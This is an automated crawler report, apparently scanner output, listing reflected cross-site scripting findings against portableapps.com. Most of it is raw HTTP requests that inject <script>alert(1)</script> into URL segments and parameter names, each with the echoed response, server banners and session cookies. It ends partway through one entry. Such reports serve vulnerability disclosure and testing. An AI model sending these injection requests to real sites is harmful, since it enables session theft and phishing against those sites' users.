portableapps.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

XSs in portableapps.com | Vulnerability Crawler Report

Report generated by Unforgivable Vulnerabilities, DORK Search, Exploit Research at Fri Jan 07 21:02:25 CST 2011.



DORK CWE-79 XSS Report

Loading

1. Cross-site scripting (reflected)

1.1. http://portableapps.com/apps/utilities/7-zip_portable/x22 [REST URL parameter 1]

1.2. http://portableapps.com/apps/utilities/7-zip_portable/x22 [REST URL parameter 2]

1.3. http://portableapps.com/apps/utilities/7-zip_portable/x22 [REST URL parameter 3]

1.4. http://portableapps.com/apps/utilities/7-zip_portable/x22 [REST URL parameter 4]

1.5. http://portableapps.com/apps/utilities/7-zip_portable/x22 [name of an arbitrarily supplied request parameter]

1.6. http://portableapps.com/apps/utilities/x26amp [REST URL parameter 1]

1.7. http://portableapps.com/apps/utilities/x26amp [REST URL parameter 2]

1.8. http://portableapps.com/apps/utilities/x26amp [REST URL parameter 3]

1.9. http://portableapps.com/apps/utilities/x26amp [name of an arbitrarily supplied request parameter]

1.10. http://portableapps.com/apps/utilities/x26amp [rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x22\\x3eUtilities\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/cite\\x3e parameter]

1.11. http://portableapps.com/apps/x26amp [REST URL parameter 1]

1.12. http://portableapps.com/apps/x26amp [REST URL parameter 2]

1.13. http://portableapps.com/apps/x26amp [name of an arbitrarily supplied request parameter]

1.14. http://portableapps.com/apps/x26amp [rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFkQ6QUoAA\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNEsawYcbH8QV3vjz5lC2ssu5QVkfw\\x22\\x3ePortable parameter]

2. Cookie without HttpOnly flag set

2.1. http://portableapps.com/apps/utilities/7-zip_portable/x22

2.2. http://portableapps.com/apps/utilities/x26amp

2.3. http://portableapps.com/apps/x26amp

3. Cross-domain Referer leakage

3.1. http://portableapps.com/apps/utilities/x26amp

3.2. http://portableapps.com/apps/x26amp

4. Cross-domain script include

4.1. http://portableapps.com/apps/utilities/7-zip_portable/x22

4.2. http://portableapps.com/apps/utilities/x26amp

4.3. http://portableapps.com/apps/x26amp

5. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 14 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://portableapps.com/apps/utilities/7-zip_portable/x22 [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/7-zip_portable/x22

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 3e059<script>alert(1)</script>dc9df43a992 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps3e059<script>alert(1)</script>dc9df43a992/utilities/7-zip_portable/x22 HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:09 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=p90ufn8vgfrschm5kt383j8800; expires=Mon, 31-Jan-2011 01:24:30 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:10 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
<p>http://portableapps.com/apps3e059<script>alert(1)</script>dc9df43a992/utilities/7-zip_portable/x22</p>
...[SNIP]...

1.2. http://portableapps.com/apps/utilities/7-zip_portable/x22 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/7-zip_portable/x22

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 7987a<script>alert(1)</script>234dc5c4882 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/utilities7987a<script>alert(1)</script>234dc5c4882/7-zip_portable/x22 HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:13 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=3rs5l8r0amn1ie5tb201f4tfc7; expires=Mon, 31-Jan-2011 01:24:33 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:13 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
<p>http://portableapps.com/apps/utilities7987a<script>alert(1)</script>234dc5c4882/7-zip_portable/x22</p>
...[SNIP]...

1.3. http://portableapps.com/apps/utilities/7-zip_portable/x22 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/7-zip_portable/x22

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload a0de9<script>alert(1)</script>68d611fbce7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/utilities/7-zip_portablea0de9<script>alert(1)</script>68d611fbce7/x22 HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:19 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=11dk68qc7hifhuno1bkluh64c2; expires=Mon, 31-Jan-2011 01:24:39 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:19 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
<p>http://portableapps.com/apps/utilities/7-zip_portablea0de9<script>alert(1)</script>68d611fbce7/x22</p>
...[SNIP]...

1.4. http://portableapps.com/apps/utilities/7-zip_portable/x22 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/7-zip_portable/x22

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 9e233<script>alert(1)</script>64248f47340 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/utilities/7-zip_portable/x229e233<script>alert(1)</script>64248f47340 HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:22 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=hsequnh28fgf1uikao18bbp2t2; expires=Mon, 31-Jan-2011 01:24:42 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:23 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
<p>http://portableapps.com/apps/utilities/7-zip_portable/x229e233<script>alert(1)</script>64248f47340</p>
...[SNIP]...

1.5. http://portableapps.com/apps/utilities/7-zip_portable/x22 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/7-zip_portable/x22

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 631e0<script>alert(1)</script>6c1dc37eb40 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/utilities/7-zip_portable/x22?631e0<script>alert(1)</script>6c1dc37eb40=1 HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:06 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=gqsjukukj2ai7krpv7t31a7r60; expires=Mon, 31-Jan-2011 01:24:26 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:06 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
<p>http://portableapps.com/apps/utilities/7-zip_portable/x22?631e0<script>alert(1)</script>6c1dc37eb40=1</p>
...[SNIP]...

1.6. http://portableapps.com/apps/utilities/x26amp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/x26amp

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ff46d<script>alert(1)</script>c1031c78f87 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /appsff46d<script>alert(1)</script>c1031c78f87/utilities/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x22\\x3eUtilities\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/cite\\x3e HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:09 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=ngsvv9dma8s7lbn2ls77vd01f5; expires=Mon, 31-Jan-2011 01:24:29 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:09 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
<p>http://portableapps.com/appsff46d<script>alert(1)</script>c1031c78f87/utilities/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x
...[SNIP]...

1.7. http://portableapps.com/apps/utilities/x26amp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/x26amp

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload ac0f7<script>alert(1)</script>1afb91f4e4c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/utilitiesac0f7<script>alert(1)</script>1afb91f4e4c/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x22\\x3eUtilities\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/cite\\x3e HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:14 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=7omjl29152g8s9cnpn8mvolal1; expires=Mon, 31-Jan-2011 01:24:34 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:14 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
<p>http://portableapps.com/apps/utilitiesac0f7<script>alert(1)</script>1afb91f4e4c/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x22\\x3eUti
...[SNIP]...

1.8. http://portableapps.com/apps/utilities/x26amp [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/x26amp

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 2ce9d<script>alert(1)</script>e68af138e4f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/utilities/x26amp2ce9d<script>alert(1)</script>e68af138e4f;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x22\\x3eUtilities\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/cite\\x3e HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:20 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=n80ei6l9pvstkvee5o32ffaj11; expires=Mon, 31-Jan-2011 01:24:40 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:20 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
<p>http://portableapps.com/apps/utilities/x26amp2ce9d<script>alert(1)</script>e68af138e4f;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x22\\x3eUtilities\
...[SNIP]...

1.9. http://portableapps.com/apps/utilities/x26amp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/x26amp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload b2d1d<script>alert(1)</script>ae7c80f4994 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/utilities/x26amp?b2d1d<script>alert(1)</script>ae7c80f4994=1 HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:05 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=sntsfqr3ihr0t2iem8ql2uahb5; expires=Mon, 31-Jan-2011 01:24:25 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:06 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
<p>http://portableapps.com/apps/utilities/x26amp?b2d1d<script>alert(1)</script>ae7c80f4994=1</p>
...[SNIP]...

1.10. http://portableapps.com/apps/utilities/x26amp [rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x22\\x3eUtilities\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/cite\\x3e parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/x26amp

Issue detail

The value of the rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x22\\x3eUtilities\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/cite\\x3e request parameter is copied into the HTML document as plain text between tags. The payload 2ec6b<script>alert(1)</script>21e477fd4b1 was submitted in the rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x22\\x3eUtilities\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/cite\\x3e parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/utilities/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x22\\x3eUtilities\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/cite\\x3e2ec6b<script>alert(1)</script>21e477fd4b1 HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:04 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=0rdgofks9n9bu9if0kj2rm0dg2; expires=Mon, 31-Jan-2011 01:24:24 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:04 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x22\\x3eUtilities\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/cite\\x3e2ec6b<script>alert(1)</script>21e477fd4b1</p>
...[SNIP]...

1.11. http://portableapps.com/apps/x26amp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/x26amp

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 58d1e<script>alert(1)</script>e03e1b50352 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps58d1e<script>alert(1)</script>e03e1b50352/x26amp HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:09 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=q8eupbnnmimcisccb71j230b07; expires=Mon, 31-Jan-2011 01:24:29 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:09 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
<p>http://portableapps.com/apps58d1e<script>alert(1)</script>e03e1b50352/x26amp</p>
...[SNIP]...

1.12. http://portableapps.com/apps/x26amp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/x26amp

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 78c7a<script>alert(1)</script>3e169a41fad was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/x26amp78c7a<script>alert(1)</script>3e169a41fad HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:13 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=v53jr9veokblj391j8f74l4o31; expires=Mon, 31-Jan-2011 01:24:33 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:13 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
<p>http://portableapps.com/apps/x26amp78c7a<script>alert(1)</script>3e169a41fad</p>
...[SNIP]...

1.13. http://portableapps.com/apps/x26amp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/x26amp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 841c9<script>alert(1)</script>afc311f469e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

